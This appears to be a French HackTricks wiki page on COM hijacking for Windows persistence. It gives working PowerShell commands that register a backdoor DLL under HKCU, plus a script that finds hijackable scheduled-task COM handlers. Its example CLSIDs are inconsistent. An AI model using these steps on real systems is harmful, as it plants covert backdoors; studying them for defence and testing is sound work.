hacktricks/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
2023-06-03 13:10:46 +00:00

6.7 KiB

COM Hijacking

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Recherche de composants COM inexistants

Comme les valeurs de HKCU peuvent être modifiées par les utilisateurs, le piratage COM pourrait être utilisé comme mécanisme persistant. En utilisant procmon, il est facile de trouver des registres COM recherchés qui n'existent pas et que l'attaquant pourrait créer pour persister. Filtres :

  • Opérations RegOpenKey.
  • où le Résultat est NOM NON TROUVÉ.
  • et le Chemin se termine par InprocServer32.

Une fois que vous avez décidé quel COM inexistant vous voulez usurper, exécutez les commandes suivantes. Soyez prudent si vous décidez d'usurper un COM qui est chargé toutes les quelques secondes car cela pourrait être excessif.

New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"

Composants COM du Planificateur de tâches pouvant être détournés

Les tâches Windows utilisent en fait des déclencheurs personnalisés pour appeler des objets COM. Et comme ils sont exécutés via le Planificateur de tâches, il est plus facile de prédire quand ils vont être déclenchés.

# Afficher les CLSID COM
$Tasks = Get-ScheduledTask

foreach ($Task in $Tasks)
{
  if ($Task.Actions.ClassId -ne $null)
  {
    if ($Task.Triggers.Enabled -eq $true)
    {
      $usersSid = "S-1-5-32-545"
      $usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }

      if ($Task.Principal.GroupId -eq $usersGroup)
      {
        Write-Host "Nom de la tâche: " $Task.TaskName
        Write-Host "Chemin de la tâche: " $Task.TaskPath
        Write-Host "CLSID: " $Task.Actions.ClassId
        Write-Host
      }
    }
  }
}

# Exemple de sortie :
# Nom de la tâche :  Exemple
# Chemin de la tâche :  \Microsoft\Windows\Example\
# CLSID :  {1936ED8A-BD93-3213-E325-F38D112938E1}
# [plusieurs autres comme le précédent...]

En vérifiant la sortie, vous pouvez en sélectionner une qui sera exécutée chaque fois qu'un utilisateur se connecte, par exemple.

Ensuite, en recherchant le CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} dans HKEY_CLASSES_ROOT\CLSID et dans HKLM et HKCU, vous constaterez généralement que la valeur n'existe pas dans HKCU.

# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"

Name           Property
----           --------
InprocServer32 (default)      : C:\Windows\system32\some.dll
               ThreadingModel : Both

# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize

Name                                   Property
----                                   --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler

# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.

Ensuite, vous pouvez simplement créer l'entrée HKCU et à chaque fois que l'utilisateur se connecte, votre porte dérobée sera activée.

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥